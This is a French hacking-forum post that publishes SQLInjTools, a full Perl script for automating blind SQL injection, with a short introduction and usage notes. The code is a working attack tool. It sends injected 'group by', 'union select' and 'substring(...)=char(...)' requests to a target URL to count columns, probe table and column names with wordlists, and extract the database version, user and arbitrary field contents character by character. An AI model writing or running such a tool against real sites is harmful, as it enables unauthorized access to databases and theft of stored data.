Annonce

Réduire
Aucune annonce.

[Perl] Blind SQL

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • [Perl] Blind SQL

    SQLInjTools, comme son nom l'indique, sert à automatiser l'exploitation des injections SQL. Ce programme est libre : vous pouvez l'utiliser, le modifier, et le redistribuer tant que vous me citez comme auteur original, avec un lien vers ce site.

    L'utilisation de ce couteau suisse est très simple. Il suffit de lui donner en paramètre l'URL vulnérable, et un motif apparaissant sur la page pour que le programme sache quand une page est "valide" ou non (pour savoir si l'injection a réussi ou pas).

    Une fois lancé, l'outil se présente sous la forme d'un shell, et est autodocumenté (enfin presque, vu qu'il n'est pas fini). Les commandes de base vous permettent de tester des noms de champs, de tables, en mode interactif ou par bruteforce à l'aide d'une wordlist.

    Le programme permet également de récupérer quelques infos sur le serveur comme le nom de l'utilisateur courant, la base, et la version du serveur. Il n'a été testé qu'avec MySQL mais il se peut qu'il marche pour d'autres serveurs.

    Bien que le programme ne soit pas tout à fait fini, j'ai décidé de le publier pour illustrer l'article sur les Blind SQL Injections, mais aussi pour les curieux qui ont envie de le bidouiller et de l'adapter selon leur bon plaisir.

    Et pour couronner le tout, je vous ai concocté une petite vidéo de démonstration où vous verrez en détails comment fonctionne ce tool. Attention toutefois, j'ai retouché un peu le programme entretemps (notemment pour corriger des bugs dont j'ai pris conscience au moment de faire la démo...) donc il se peut qu'il y ait quelques petits détails qui changent avec le "vrai".


    Code:
    #!/usr/bin/perl
    
    #
    # SQLInjTools v0.5b
    #
    # by TranceFusion
    #
    # date : 12/01/07 � 22h16
    #
    # http://www.ghostsinthestack.org
    #
    # Trousse a outils permettant d'exploiter une page vulnerable a une Injection SQL
    #
    
    use Socket;
    use IO::Socket::INET;
    use Term::ANSIColor; # Pour les couleurs dans le shell
    
    # Capture le Ctrl + C pour �viter la fermeture (quitte juste l'action courante)
    # /!\ Support partiel... Ca marche une fois, mais pas 2 :(
    # Desole, je debute en perl donc je n'ai pas encore toruve de solution propre. Si vous en avez, faites moi signe !
    $SIG{INT} = \&stopCommande;
    
    
    #
    # Fonction affichant l'aide sommaire pour la ligne de commande
    #
    
    sub usage{
    
    print <<EOF;
    Utilisation : $0 [-p] url [!] pattern
    
    Arguments obligatoires :
     url : URL de la page vulnerable
     pattern : chaine de caractere apparaissant sur la page permettant de dire si l'injection a reussi
    
    Options facultatives :
     -p : Utiliser le proxy (� preciser dans le script)
     !  : inverse la signification de pattern qui est alors utilisee pour savoir si l'injection a rencontre une erreur
    
    EOF
    exit 0;
    
    }
    
    
    
    #
    # Envoi une requete au serveur et retourne la page HTML resultat
    #
    # @param URL a demander au serveur
    # @result Buffer contenant la page HTML
    #
    
    sub envoiRequete{
    
      my $string;
      ($string) = @_;
      $string =~ s/ /%20/g;
    
      my $socket = IO::Socket::INET->new("$serveur:$port") || die "Connexion refusee.\n";
    
      select($socket);
      $| = 1;
      select(STDOUT); # Vidage immediat du buffer de sortie
    
      # Envoi de la requete
    
      print $socket <<EOF;
    GET $string HTTP/1.0
    User-Agent: Mozilla/4.78 [en] (X11; U; Linux 2.4.9-13 i686)
    Host: $host
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
    Accept-Charset: iso-8859-1,*,utf-8
    Connection: close
    
    EOF
    
      # Lecture de la reponse - on lit uniquement le code HTML (c'est pourquoi on attend de lire une ligne vide avant)
    
      my $buffer = "";
      my $concat = 0;
    
      while ($ligne = <$socket>) {
    
        if($concat){
          $buffer .= $ligne;
        }
        if($ligne =~ /^\s$/){
          $concat = 1;
        }
    
      }
    
      close($socket);
    
      # on retourne la page HTML lue
      return $buffer;
    
    
    
    }
    
    
    
    #
    # Bruteforce et retourne le nombre de champs de la table de base
    # @return nombre de champs de la table de base
    #
    
    
    sub getNbChamps{
    
      #Compteur de champs
      my $n = 0;
    
      #Doit-on s'arreter ?
      $ok = 0;
    
      while(!$ok){
    
        $n++;
    
        #Injection !
        my $str = "$url group by $n";
    
        #print "$str\n";
        my $buffer = envoiRequete($str);
    
        if( ! ( ($pattern_true && ($buffer =~ /$valid_pattern/)) || (!$pattern_true && !($buffer =~ /$valid_pattern/)) ) ){
          $ok=1;
        }
    
      }
    
      $n--;
    
      return $n;
    
    }
    
    
    
    # Fonction prenant en parametre la chaine (fonction ou champ) dont on veut connaitre la valeur par bruteforce
    #
    # @param champ ou fonction SQL que l'on va bruteforcer caractere par caractere
    # @result chaine resultat
    
    sub bruteforceString{
    
      my $param;
      
      ($param) = (@_);
    
      # la chaine qu'on cherche
      my $string = "";
    
      # index du caractere courant
      my $i = 1;
    
      # bornes des caracteres
      my $borne_inf = 33;
      my $borne_sup = 123;
    
      # code du caractere courant
      my $code = $borne_inf;
    
      while($code <= $borne_sup){
    
        #Injection !
        my $str = "$url and substring($param,$i,1)=char($code)";
    
        my $buffer = envoiRequete($str);
    
        # si on trouve ce qu'on veut...
        if( ($pattern_true && ($buffer =~ /$valid_pattern/)) || (!$pattern_true && !($buffer =~ /$valid_pattern/)) ){
    
          # c'est que le caractere est bon, donc on l'ajoutte � la cha�ne...
          $string .= chr($code);
          print(chr($code));
          $| = 1;
          select(STDOUT);
    
          # ...et on passe au caractere suivant
          $i++;
          $code = $borne_inf;
    
        # sinon on incremente le caract�re
        } else {
          $code++;
        }
    
      }
    
      return $string;
    
    }
    
    
    
    
    # Fonction permettant de tester si une table existe. Valable uniquement si la version du serveur est >=4.
    #
    # @param nom de la table
    # @param nombre de champs dans la table de depart
    # @return 1 si la table existe, 0 sinon
    
    sub testTable{
    
      my $table;
      my $nbChamps;
    
      ($table,$nbChamps) = @_;
    
      # Construction de la chaine a injecter
      my $str = "$url union select ";
      $str .= "0,"x $nbChamps;
      chop($str);
      $str .= " from $table";
    
      my $buffer = envoiRequete($str);
    
      # on regarde si la page est OK et on retourne en cons�quence
      return ( ($pattern_true && ($buffer =~ /$valid_pattern/)) || (!$pattern_true && !($buffer =~ /$valid_pattern/)) );
    
    }
    
    
    
    # Fonction permettant de tester si un champ existe dans une table donnee. Valable uniquement si la version du serveur est >=4.
    #
    # @param nom du champ a tester
    # @param nom de la table dans lequel le champ se trouve, 0 pour prendre la table de depart.
    # @param nombre de champs dans la table de depart
    # @return 1 si la table existe, 0 sinon
    
    sub testChamp{
    
      my $champ;
      my $table;
      my $nbChamps;
    
      ($champ,$table,$nbChamps) = @_;
    
      # Construction de la chaine a injecter
      my $str = $url;
    
      if($table =~ /^0$/){
        $str .= " order by $champ=1";
    
      } else {
        $str .= " union select $champ,";
        $str .= "0," x ($nbChamps - 1);
        chop($str);
    
        $str .= " from $table";
      }
    
      # Injection
      my $buffer = envoiRequete($str);
    
      # on regarde si la page est OK et on retourne en cons�quence
      return  ( ($pattern_true && ($buffer =~ /$valid_pattern/)) || (!$pattern_true && !($buffer =~ /$valid_pattern/)) );
    
    }
    
    
    #
    # Fonction retournant le 'nom' de la table courante (pour affichage)
    #
    
    sub tableCourante{
      if($table_courante =~ /^0$/){
        return "~";
      } else {
        return $table_courante;
      }
    }
    
    
    
    #
    # Fonction s'executant quand une commande vient d'etre stoppee
    #
    sub stopCommande{
      print "\nCommande stoppee.";
      boucleShell();
    }
    
    
    
    
    
    #
    # Boucle principale du shell
    #
    
    sub boucleShell{
    
    
      print "\n[";
      print color 'bold blue';
      print "~";
      print color 'reset';
      print "]\$ ";
    
     BOUCLE_SHELL: while(<stdin>){
        chomp();
    
      SWITCH: {
    
          # Commande Number_of_Fields permettant d'obtenir le nombre de champs de la table de depart
          if (/^nf$/) {
    	$nb_champs = getNbChamps();
    	print "[+] Nombre de champs : $nb_champs\n";
    	last SWITCH;
          }
    
    
          # Commande Test_Table permettant de tester si une table existe
          if (/^tt/) {
    	if (! /^tt (.+)$/) {
    	  print "erreur: La commande tt prend en parametre le nom de la table a tester.\n";
    	  last SWITCH;
    	}
    	if ($nb_champs == 0) {
    	  print "erreur: Le nombre de champs de la table de depart est inconnu ! Tapez d'abord nf pour le trouver.\n";
    	  last SWITCH;
    	}
    
    	if (testTable($1,$nb_champs)) {
    	  print "[+] La table $1 existe !\n";
    	  $tables{$1} = {} if(!$tables{$1});
    	} else {
    	  print "La table $1 n'existe pas.\n";
    	}
    	last SWITCH;
    
          }
    
          # Commande Test_Field permettant de tester si un champ existe dans la table courante
          if (/^tf/) {
    	if (! /^tf (.+)$/) {
    	  print "erreur: La commande tf prend en parametre le nom du champ a tester.\n";
    	  last SWITCH;
    	}
    	if ($nb_champs == 0 && $table_default != "0") {
    	  print "erreur: Vous n'etes pas dans la table de depart, et le nombre de champs de la table de depart est inconnu ! Tapez d'abord nf pour le trouver.\n";
    	  last SWITCH;
    	}
    
    	if (testChamp($1,$table_courante,$nb_champs)) {
    	  print "[+] Le champ $1 existe dans la table ".tableCourante()." !\n";
    
    	  # ajoute le champ en tant que cle dans la table
    	  my $champs = $tables{tableCourante().""};
    	  ${$champs}{$1} = $1;
    
    
    	} else {
    	  print "Le champ $1 n'existe pas dans la table ".tableCourante().".\n";
    	}
    	last SWITCH;
    
          }
    
    
          # Commande Change_Table permettant de changer de table courante
          if (/^ct/) {
    	if (! /^ct (.+)$/) {
    	  # si pas d'arguments on revient a ~ par defaut
    	  $table_courante = "0";
    	  last SWITCH;
    	}
    	if ($nb_champs == 0) {
    	  print "erreur: Le nombre de champs de la table de depart est inconnu ! Tapez d'abord nf pour le trouver.\n";
    	  last SWITCH;
    	}
    
    	my $t = $1;
    
    	if ($t =~ /^0$/ || $t =~ /~/) {
    	  $table_courante = "0";
    	} else {
    	  if (!testTable($t,$nb_champs)) {
    	    print "erreur: la table $1 n'existe pas !\n";
    	    last SWITCH;
    	  }
    	  $tables{$1} = {} if(!$tables{$1});
    	  $table_courante = "$t";
    	}
    
    	last SWITCH;
          }
    
          # Commande List_Fields permettant de lister les champs de la table courante
          if (/^lf$/) {
    
    	my $champs = $tables{tableCourante().""};
    	print join("\n",keys(%{$champs}) ) . "\n";
    
    	last SWITCH;
          }
    
          # Commande List_Tables permettant de lister les tables trouvees
          if (/^lt$/) {
    	printf join("\n",keys %tables)."\n";
    	last SWITCH;
          }
    
    
          # Commande Version permettant de recuperer la version du serveur
          if (/^v$/) {
    	print "[+] Bruteforce de la version : ";
    	$version = bruteforceString("version()");
    	printf "\n";
    	last SWITCH;
          }
    
          # Commande Data_Base permettant de recuperer le nom de la base de donnees
          if (/^db$/) {
    	print "[+] Bruteforce du nom de la base : ";
    	$db = bruteforceString("database()");
    	printf "\n";
    	last SWITCH;
          }
    
          # Commande User permettant de recuperer le nom de l'utilisateur SQL
          if (/^u$/) {
    	print "[+] Bruteforce du nom de l'utilisateur SQL : ";
    	$user = bruteforceString("user()");
    	printf "\n";
    	last SWITCH;
          }
    
          # Commande Quit permettant de quitter
          if (/^q$/ || /^quit$/ || /^exit$/) {
    	print "Bye ;)\n";
    	exit 0;
          }
    
          # Commande eXecute permettant d'executer une commande shell
          if (/^x/) {
    	if(!/^x (.+)$/){
    	  print "erreur : Vous devez passer en parametre le nom de la commande Bash a executer.\n";
    	  last SWITCH;
    	} else {
    	  print `$1`;
    	  last SWITCH;
    	}
          }
    
    
          # Commande BruteForce_Fields_with_Wordlist permettant de bruteforcer le nom des champs avec une wordlist
          if (/^bffw?/) {
    
    	if ($nb_champs == 0 && $table_default != "0") {
    	  print "erreur: Vous n'etes pas dans la table de depart, et le nombre de champs de la table de depart est inconnu ! Tapez d'abord nf pour le trouver.\n";
    	  last SWITCH;
    	}
    	if(!/^bffw? (.+)$/){
    	  print "erreur : Vous devez passer en parametre le nom du fichier wordlist.\n";
    	  last SWITCH;
    	}
    
    	if(! -f $1){
    	  print "erreur : le fichier $1 est introuvable.\n";
    	  last SWITCH;
    	}
    	open WORDLIST,"<$1";
    	while(<WORDLIST>){
    	  chomp;
    	  if(testChamp($_,$table_courante,$nb_champs)){
    	    print "[+] Champ trouve : $_ !\n";
    	    my $champs = $tables{tableCourante().""};
    	    ${$champs}{$_} = $_;
    	  }
    	}
    	
    	close WORDLIST;
    	
    	last SWITCH;
          }
    
    
          # Commande BruteForce_Field_Content permettant de recuperer le nom de la base de donnees
          if (/^bfc/) {
    	if(!/^bfc (.+)$/){
    	  print "erreur : vous devez passer en parametre le nom du champ a bruteforcer.\n";
    	  last SWITCH;
    	}
    	print "[+] Bruteforce du contenu du champ $1 : ";
    	$db = bruteforceString("$1");
    	printf "\n";
    	last SWITCH;
          }
    
    
    
    
    
          # Commande Help, fonction d'aide
          if (/^h$/ || /^help$/) {
    	print <<EOF;
    Commandes disponibles :
     nf   : Number of Fields - Recupere le nombre de champs dans la table de base par bruteforce
     v    : Version - Recupere la version du serveur par bruteforce
     db   : DataBase - Recupere le nom de la base de donnees par bruteforce
     u    : User - Recupere le nom de l'utilisateur SQL par bruteforce
     tf   : Test Field - Teste si un champ existe dans la table courante
     tt   : Test Table - Teste si une table existe dans la base
     ct   : Change Table - Se deplace dans une autre table passee en parametre, ~ par defaut
     lf   : List Fields - Affiche le nom des champs trouves
     lt   : List Tables - Affiche le nom des tables trouvees
     x    : eXecute - Execute la commande Bash passee en parametre
     bfc  : BruteForce Field Content - Bruteforce le contenu d'un champ
     bffw : BruteForce Fields (by Wordlist) - Tente de trouver le nom des champs par bruteforce sur une wordlist
    
     q    : Quit - Quitte le shell
     h    : Help - Affiche cette aide
    
    EOF
    	last SWITCH;
          }
    
          # clause default du switch
    
          /^([^ ]+)( .+)?/ && print "$1 : commande invalide. Tapez help pour avoir la liste.\n";
        }
    
        $table_disp = tableCourante();
        print "[";
        print color 'bold blue';
        print "$table_disp";
        print color 'reset';
        print "]\$ ";
      }
    
    }
    
    
    
    
    ###################################################################################################
    #                                                                                                 #
    #                                 Debut du programme principal                                    #
    #                                                                                                 #
    ###################################################################################################
    
    #print $#ARGV."\n";
    ($#ARGV > 3 || $#ARGV < 1) && usage();
    
    
    #
    # Variables globales preliminaires
    #
    
    $proxy = "votreproxy.com"; # a preciser si vous voulez passer par un proxy
    $port_proxy = 8080;
    $port_host = 80;
    
    # definit si l'utilisateur a precise l'option ! qui inverse le comportement de pattern
    $pattern_true = 1;
    
    
    
    #
    # Recuperation des arguments
    #
    
    $i = 0;
    
    if ($proxy_mode = ($ARGV[0] eq "-p")){
      $i++;
    }
    
    $url = $ARGV[$i++];
    
    if($url =~ /http:\/\/([^\/]+)\//){
      $host = $1;
    } else {
      die("URL invalide\n");
    }
    
    if($proxy_mode){
      $serveur = $proxy;
      $port = $port_proxy;
    } else {
      $serveur = $host;
      $port = $port_host;
    }
    
    
    if($ARGV[$i] eq "!"){
      $pattern_true = 0;
      $i++;
    }
    
    $valid_pattern = $ARGV[$i];
    
    
    # Affichage recapitulatif
    
    print <<EOF;
    
    SQLInjTools v0.5b
         by TranceFusion
    
    http://www.ghostsinthestack.org
    
    Ce programme est libre, vous pouvez l'utiliser, le modifier, et le redistribuer,
    du moment que vous citez toujours l'auteur original et son site, et que le programme
    que vous rediffusez est toujours libre.
    
    L'auteur n'est pas responsable de l'utilisation que vous ferez de ce programme, et le
    programme n'est fourni avec aucune garantie.
    
    A ce propos, il est rappele que ce programme est encore en beta. Il se peut donc qu'il
    contienne quelques bugs et/ou qu'il soit incomplet. Si vous avez des suggestions a
    faire a l'auteur, n'hesitez pas !
    
    
    Parametres :
    EOF
    print " URL : $url\n";
    print " Serveur hebergeant la page : $host\n";
    print " Serveur auquel se connecter : $serveur:$port\n";
    print " Pattern : /$valid_pattern/, definit si l'injection est ";
    if(!$pattern_true){
      print "fausse ou erronnee\n";
    } else {
      print "valide\n";
    }
    
    print "\n";
    
    
    
    #
    # variables globales contenant les infos recuperees du serveur
    #
    
    # Nombre de champs de la table de depart
    $nb_champs = 0;
    
    # table de depart
    $table_courante = "0";
    
    # version du serveur
    $version = 0;
    
    # base
    $db = 0;
    
    # user SQL
    $user = 0;
    
    # tables trouvees
    $tables{tableCourante().""} = {};
    
    
    #
    # Boucle du shell
    #
    
    print "Pour quitter le shell, tapez exit, ou quit, ou q. Pour une liste des commandes, tapez help ou h. Pour arreter une commande en cours, faites Ctrl + C.\n\n";
    
    boucleShell();
    credit:trance

    Video de démo : ici
    sigpic

    Cyprium Download Link

    Plus j'étudie plus j'me rends compte que je n'sais rien.

    †|
Chargement...
X